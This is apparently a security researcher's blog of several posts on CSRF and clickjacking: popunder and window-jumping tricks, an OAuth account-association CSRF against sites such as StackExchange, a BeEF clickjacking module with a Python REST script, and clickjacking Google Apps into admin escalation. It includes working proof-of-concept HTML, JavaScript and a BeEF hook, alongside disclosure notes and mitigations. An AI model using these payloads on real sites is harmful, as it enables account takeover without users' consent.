CSRF tips for dealing with x-frame-options

X-Frame-Options is becoming more and more common. With OAuth, protecting against UI redressing is even in the spec, so just creating a frame to do all your sneaky stuff won’t really work. With some of the OAuth attacks from the last few posts, the identity providers did all in fact enable x-frame-options.

How do we CSRF things that have X-Frame-Options enabled so we can’t use frames? We can always open a window, but a big popup isn’t really ideal. There are probably a lot of techniques here, but there are two options I explored, using a popunder, and just making the window jump around/hard to close.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. This is probably the last one (yeah, finally – I’m sick of talking about CSRF too) then I’ll hopefully post the whole talk finally :)

Hiding the CSRF with a popunder

In the OAuth examples I just popped up a window. It would be better if when we popped up the window, we hid it. Back in the day, you could just do something like this and it would hide the window.

function pwn() {
  win1 = fb_login();
  win1.blur();
  setTimeout("win1.close()", 5000);
  setTimeout("soundcloud_addlogin()", 5000);
}

In most browsers this doesn’t work anymore. Firefox and Chrome explicitly deny this (it was a bug here Blur results in window being lowered and some other window being raised (popunders are possible)).

However, it is still basically possible. Shady websites do this all the time, so you can just look at their code, or you can grab scripts from github https://gist.github.com/hpbuniat/1021924 :) Basically, the generic technique seems to be:

  1. On a click event
  2. On form submit
  3. open window
  4. the new window opens another window, then closes it
  5. focuses the opener window

Using this technique, we can exploit the OAuth CSRF much more ninjaly. The original soundcloud oauth (talked about here) looked something like this with a big ugly popup: http://www.youtube.com/watch?v=CmG01xprrlU

But with adding a popunder, well, it isn’t that exciting. But it’s relatively sneaky, and we’ve successfully CSRFed the page and taken over their soundcloud account. Below is a video of how the sneaky one looks.

In-your-face CSRF

Sometimes, like in the OAuth case, a CSRF takes a few seconds to complete. Sometimes even a minute or two. Techniques in the past focus mostly on hiding things, or “watching a video”. But there are a few interesting windows methods – moveTo(), moveBy(), resizeTo(), resizeBy() that, maybe in all practicality aren’t really better, but at least it’s funny.

It’s simple to create a script that CSRF’s the user, but jumps everywhere so it’s hard to close. Here it is in action:

Here’s the opener:

<html>
<head></head>
<body>
<title>In your Face</title>
<script>
function openwin() {
window.open("./randomwindow.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1");
}
</script>

<a href="#" onclick="openwin()">click here for stuff</a>
</body>
</html>

and randomwindow.html

<html>
<head></head>
<body>
<title>Google</title>
<script>
function ass() {

    var x = Math.floor((Math.random() * screen.width)-(screen.width*.5));
    var y = Math.floor((Math.random() * screen.height)-(screen.height*.5));
    window.moveBy(x,y);
    document.getElementById("updater").innerHTML += "."
}

setInterval("ass();", 200);
</script>
<div id="updater"></div>
</body>
</html>

Thanks! That’s all for now.

Common OAuth issue you can use to take over accounts

TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)

OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.

Here’s an image from Facebook on how this flow can work

fb_login

This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.

Several papers have written about this in the past (http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/, http://sso-analysis.org/) and the spec itself has a section pertaining to CSRF mitigation. The recommendation is generically to pass a state parameter to the identity provider. For this to work, it is necessary for this parameter to be unguessable and tied to the originating site session. Although theoretically these recommendations could be effective, it should come as no surprise that this is difficult to get right.

Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.

The First Attack I thought of

Here’s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:

stackexchange

Using attacks like I’ve chatted about in the past here, here, here and here, I thought this may be vulnerable to something like this:

  1. Toss the cookies into the victim stackoverflow account
  2. The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google)
  3. Associate the attacker’s account with the victim’s account and win!

This is kind of hard to test, since you have to map out all the cookies for each site.

Easier Attack

It turns out there’s an easier way (although above will probably be a problem for a while). Here is the easier way:

  1. Create an attacker identity provider account (e.g. Facebook)
  2. Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook
  3. Victim is logged in to accessing application.
  4. A malicious site does the following:
    1. Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies
    2. POSTs to the account association request
  5. Attacker Logs out of other sessions
  6. At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.

Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you’re the only site I looked at that seemed to do this without any issue :)

Stackexchange, woot.com, etc. Repro

There are a couple ways this similar vulnerability occurs, but I’ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome – they responded in less than a day, and some dev was like “my bad”, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.

Here I’ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.

Walking through the steps above with more stackexchange specific detail:

  • Create an attacker Facebook account
  • Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything

se_perm

  • Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this here. Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it’s definitely more difficult.
//fb_login.html
 function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh"
content="0; url=data:text/html,' +
              '<form id=dynForm method=POST
action=\'https://www.facebook.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=yyy@live.com />' +
              '<input type=hidden name=pass value=xxxxxxxx/>' +
              '<input type=hidden name=default_persistent value=0 />' +
              '<input type=hidden name=timezone value=480 />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}
  post_without_referer();
  • Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.
<html>
  <body>
   <script type="text/javascript">

   function fb_login() {
    return (window.open("./fb_login.html", "_blank",
"status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
  }

   function stackexchange_addlogin() {
     document.getElementById("sForm").submit();
  }



   function pwn() {
     win1 = fb_login();
     setTimeout("stackexchange_addlogin()", 7000);
     //win1.close()
  }

   </script>

   <p>This is just meant to be a dirty/simple PoC, and makes very
little attempt at being stealthy</p>

   <p>To repro:</p>


   <ul>
   <li>login to stackexchange</li>
   <li>click "pwn"</li>
   <li>An attacker now owns your stackexchange account!</li>
   </ul>

   <!-- iframe necessary to get cookies if we haven't visited facebook 
          (needed to put a space modify to put on page)-->
    < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox>< /iframe>


    <form id="sForm"
action="http://stackexchange.com/users/authenticate" method="POST">
      <input type="hidden" name="oauth_version" value="2.0" />
      <input type="hidden" name="oauth_server"
value="https://graph.facebook.com/oauth/authorize"
/>
      <input type="hidden" name="openid_identifier" value="" />
    </form>



  <a href="#" onclick="pwn()">pwn</a>
  </body>
</html>

Read more of this post

BeEf Clickjacking Module and using the REST API to Automate Attacks

I’ve chatted about clickjacking a few times in the past. It’s an attack I think is often overlooked as non-important, and part of the reason people think that is probably because making these attacks convincing isn’t necessarily easy. To perform a convincing clickjacking attack as a pentester or real attacker, there are some tools that can be useful, but for the most part you’re pretty much stuck writing your own Javascript (or paying someone to write it for you). Well, this type of thing just got a whole lot easier.

A couple weeks ago my wife and I submitted a clickjacking module to BeEf (now accepted into the main branch). This is a post about that. First I’m going to talk about how it works, and then about how to use it.

Reliably Following the Mouse

One of the coolest features of this module is that it works in all tested versions of IE, chrome, and Firefox. There’s other mouse following code available, but to my knowledge, none of the previously written snippets have worked as reliably.

The idea behind following mouse is simple. There are two frames, an inner and an outer. The outer frame is large, and it’s what contains the entire clickjackable page. The inner frame registers a mousemove event that triggers when the mouse is moved over our own domain (once it exits the victim domain), and the inner iframe is updated so our mouse is always over whatever we want our victim to click on.

$j("body").mousemove(function(e) {
     $j(outerObj).css('top', e.pageY);
     $j(outerObj).css('left', e.pageX);
 });

The “body” turns out to be important, since IE didn’t recognize “document” – so if you have custom attacker pages watch out for that.

Also, it might be obvious, but although the inner iframe is visible by default, it can easily be configured to be invisible.

Multiple Clicks and Events

It’s a bit of a challenge on how to detect when a user clicks over a domain we don’t own. We solved this by giving focus to an invisible button on our domain, and then counting it as a click when that button loses focus.

$j(btnObj).focus();
$j(btnObj).focusout(function() {
    cjLog("Iframe clicked");
    iframeClicked();
});

When we do detect a click, the iframeClicked function counts it, updates the inneriframe position, and evaluates a custom function. This custom function is important because it allows us to update the visible page, making the attacker page appear responsive. In the demo page, this function can do things like update the displayed quote. There’s also a delay, which I discovered was important when testing various Google pages, because it takes a moment for some clicks to register, and if we immediately move the inneriframe it doesn’t work.

function iframeClicked(){
    clicked++;
    var jsfunc = '';
    jsfunc = clicks[clicked-1].js;
    innerPos.top = clicks[clicked].posTop;
    innerPos.left = clicks[clicked].posLeft;
    eval(unescape(jsfunc));
    setTimeout(function(){
        updateIframePosition();
    }, <%= @clickDelay %>);

    setTimeout(function(){
        var btnSelector = "#" + elems.btn;
        var btnObj = $j(btnSelector);
        $j(btnObj).focus();

        //check if there are any more actions to perform
        try {
            if (isNaN(parseInt(clicks[clicked].posTop))) {
                removeAll(elems);
                throw "No more clicks.";
            }
        } catch(e) {
            cjLog(e);
        }
    }, 200);
}

Using the BEEF REST API to Automatically Attack Victims when they Visit our Page

There are a few reasons we chose BeEf to write this. First, there’s a lot of information BeEf will gather that can be useful. It has browser detection, so if a certain browser renders a page differently we can detect that and tailor the attack accordingly. One drawback initially was the fact you had to login to a web console to customize an attack for a hooked browser. For clickjacking, this just doesn’t seem realistic. We want the attack to begin right when someone visits our page.

Luckily, BeEf recently added a REST API. There are a few examples of how this is useful. I’m surprised it isn’t getting more attention, because now all of a sudden when someone visits our attacker page our payload is fired off immediately rather than an attacker manually babysitting the sessions. This really applies to all modules – not just the clickjacking.

My strategy for firing off attacks is messy, but it seems to work fairly well. I just have a php file that hooks beef and then does a system call to a script that calls the REST client

<!-- BeEF hook call -->
<script type="text/javascript">
	var commandModuleStr = '<script src="http://192.168.138.129:3000/hook.js" type="text/javascript"><\/script>';
	document.write(commandModuleStr);
</script>
...
<!--
<?php
    system("python /var/www/beef/beefrest.py & > /tmp/myscriptlog.txt");
?> -->

The REST client script grabs the latest session and sends an attack. For example, to send our clickjacking attack

Update: This could be better by making use of the autorun call, which I didn’t know existed at the time. Here: http://blog.beefproject.com/2012/08/happy-hooking-beef-autorun-and-twitter.html, and http://blog.beefproject.com/2012/12/beef-shank-beef-mitm-for-pentests.html

#!/usr/bin/python

import json
import urllib
import urllib2
import time

class beefClickjack:
	def __init__(self, authkey, host):
		self.authkey = authkey
		self.host = host

	#returns all online hooked browsers
	#TODO exception handling
	def getHookedBrowsers(self):
		f = urllib2.urlopen(self.host + "/api/hooks?token=" + self.authkey)
		data = json.loads(f.read())
		hooked = data["hooked-browsers"]["online"]
		return hooked

	#returns most recent hooked browser
	#there is a bit of a race condition, but in reality it  shouldn't matter
	def getLastHooked(self):
		hooked = self.getHookedBrowsers()
		max_hook = sorted(hooked)[-1]
		print "============="
		print hooked
		print "============="
		sessionid = hooked[max_hook]["session"]
		return (sessionid, max_hook)

	#send clickjacking payload to most recently hooked browser
	#can get with /api/modules?token=....
	def sendClickjack(self, data):
		sessionId = self.getLastHooked()[0]
		url = self.host + "api/modules/" + sessionId + "/22?token=" + self.authkey
		print url
		req = urllib2.Request(url, data)
		req.add_header("Content-Type", "application/json; charset=UTF-8")
		f = urllib2.urlopen(req)
		print f.read()


#Below will need to be customized
if __name__ == "__main__":
        time.sleep(1)
	b = beefClickjack(
			authkey="ec808711566a1e2b85bc6c692681c946d97f0ba2",
			host="http://127.0.0.1:3000/"
		)
	data = {
		"iFrameSrc" : "http://www.amazon.com/gp/aw/d/0312546343/",
		"iFrameSecurityZone" : "off",
		"iFrameSandbox" : "off",
		"iFrameVisibility" : "on",
		"clickDelay" : "300",
		"iFrameWidth" :" 30",
		"iFrameHeight" :"15",
		"clickaction_1" : "$(\"#overlay1\").data(\"overlay\").close();",
		"iFrameLeft_1" : "990",
		"iFrameTop_1" : "180",
		"iFrameLeft_2" : "-",
		"iFrameTop_2" : "-"
	}
	b.sendClickjack(json.dumps(data))

Again, this could become more elegant. For example, you could keep track of all sessions and ensure every online session is sent a payload. This would also be where you could do various browser detection things to help determine anything browser specific.

Real World Usage/Examples

In September 2012 http://www.shodanhq.com/research/infodisc performed a basic scan against the Alexa top 10,000 sites on the Internet and found only 0.54% of these websites contained X-FRAME-OPTIONS. It is possible that the header is set only on pages that require authentication or pages that are used to change state. However, the percentage of websites with proper mitigations is undeniably low.

The fact is an attacker can use clickjacking against most websites, including commerce sites, financial sites, management consoles… most everything where you perform actions. When we first wrote this module our first test used multiple clicks against Google, which I believe still works today. Below I’ll outline a few simpler use cases for the module.

Amazon – Adding an Item to the Wishlist

One XSS I heard about recently was in the wishlist. Although this guy used CSRF to add an item to the cart, he could have also used clickjacking (or used clickjacking if the wishlist wasn’t vulnerable to CSRF). The REST API source above is for Amazon:

One interesting note that you’ll gather if you watched the video: Amazon proper had x-frame-options but the mobile pages did not, allowing for the “attack”. I reported this to Amazon and they’ve since added x-frame-options to the mobile pages.

WordPress

The goal of this “attack” is to get someone logged into wordpress.com to like a post that I’ve written (similar maybe to Facebook likejacking, but on wordpress). This demo is similar to the last one, but I’ll just use BeEf’s web interface rather than the REST api.

Nothing novel here except that it took longer to register a dummy wordpress account than it did to craft a clickjacking payload.

Conclusions

I hope this is my last post about clickjacking ever. :)

Clickjacking Google

When testing some x-frame-options behavior, I noticed that sameorigin cares about the top location, but not the parent location. At first I thought I discovered this, but turns out it’s not a brand new issue, and others have talked about it at least here and here.

It wasn’t immediately clear to me what sites were impacted, but two conditions need to be present: 1) somewhere on the victim domain, they need to allow you to frame stuff and 2) the victim domain uses x-frame-options sameorigin as a mitigation against clickjacking. With number two, most websites tend to not protect against clickjacking at all (which is worse, of course). However, there are a few places where these two conditions seem pretty pervasive. Google is the first thing that comes to mind because it’s common for Google to protect from clickjacking with x-frame-options: sameorigin, but then they allow external framing on the same domain. Using this and a little social engineering you can do some pretty nasty things, like an unprivileged Google Apps user taking over a domain.

A Couple Specific Examples

I have a pull request into BeEf for a module that my wife and I wrote which makes implementing these attacks trivial. I’ll probably do a blog post specifically about the module soon.

Attack 1: Making a Private Google Site Public

Here’s a video of Attack 1 in action, where victim Google site “besttest42″ visits an attacker’s Google site “webstersprodigy” and inadvertently makes their site public by clicking on the next quote button a couple times (three to be exact)

Attack 2: unprivileged Google Apps user escalating to admin

  • Victim is logged in to a Google account.
  • Victim is social engineered to visit a “Google In-Page analytics” page that’s framing attacker controlled content (http://hacker.com). There seem to be a few other ways to frame attacker controlled content on google.com, such as igoogle or other things that might accept Google gadgets.
  • http://hacker.com can now frame a bunch of pages from google.com. Some targets are easier than others. Calendar is tough, for example, because it requires Javascript but also has a frame breaker. Others, like finance and reader, are easy. For my PoC, I framed the Google apps admin portal imagining the victim is a Google Apps admin and the attacker is an unprivileged apps user attempting to escalate priveleges. In this case, the attacker frames https://www.google.com/a/cpanel/webstersprodigy.net/Organization?userEmail=evilattacker@webstersprodigy.net
  • At this point there are four clicks involved. Click on “Roles and Privileges”, then “Assign more roles”, then “Super Admin” then “Confirm Assignment”.
  • I have a PoC for this as well as attack 1, but it’s more flaky because Google analytics Javascript sometimes made my clicks slightly off, and one click in particular I couldn’t completely hide (although I suspect with more time it should be possible). I admit the Google analytics route I have a PoC for would be tough to pull off in the real world (victim has to have recently logged in to admin portal, they have to click things inside of analytics) but the payoff is huge. The attacker is now an admin for a Google apps business and can do things like change a password and then read anyone’s email.

With attack 2, what we’re tricking the user to eventually click on is this:

Recommended Mitigations

I’m sure I’m not close to catching all the specific instances. It would probably be good for Google to go through most portals where users can change settings and set them to x-frame-options deny. A lot of these probably don’t need to be framed at all, and setting it to deny would stop the attack.

It would also be cool if Chrome checked the parent (and not just the top) when x-frame-options same-origin is set. Most browsers (Firefox, Safari, IE8) seem to do the same thing, but it seems wrong to me. It should be noted that IE9 and IE10 do better than this by checking the frame chain (e.g. this attack would fail with IE9).

Discosure Stuff

I contacted Google with basically the post above s/Google/you guys/ on 8/26. Here’s their response:

Thanks for your detailed report. Clearly, you understand some of the
challenges here ;)

This is something we’re aware of and there’s work going on amongst the
various browser vendors to modify (and agree on) what the right behaviour
should be. Right now, our approach is to bank on the browsers fixing this
in a more robust fashion.

I agree with this in principle. However, I would have liked to see x-frame-options deny set on the more sensitive pages. There are other UI redressing attacks possible of course, but since these require a few clicks I think using framing is by far the easiest. When I asked if they considered this a vuln or if they had any concerns about me writing about it, they wrote back:

No, it doesn’t qualify under the VRP — it’s something that we’re already
aware of. Feel free to write about it — it’s not especially widely known,
though is certainly not secret.

Is it already 2012?

I thought about starting a new blog, it’s been that long.

Giving our talk, “New ways I’m going to hack your web app” at Bluehat 2011 was awesome. I practiced so much that everything just went well. Unfortunately I managed to forget a ton of it for 28c3/Blackhat and I spoke way too fast (I always do the same thing when I get nervous and don’t think about it).  Not to mention all my favorite content was needlessly censored. That sucks, but hopefully as I talk more things will get better.

I hate watching that, by the way. The cool thing is there were a lot of people, I think the room holds about 1000. So that was scary, but also a great experience.

Here is the whitepaper:
https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&resid=3AC0418833532DFF!249&parid=3AC0418833532DFF!264

and the slides:
https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&resid=3AC0418833532DFF!250&parid=3AC0418833532DFF!264

Follow

Get every new post delivered to your Inbox.

Join 34 other followers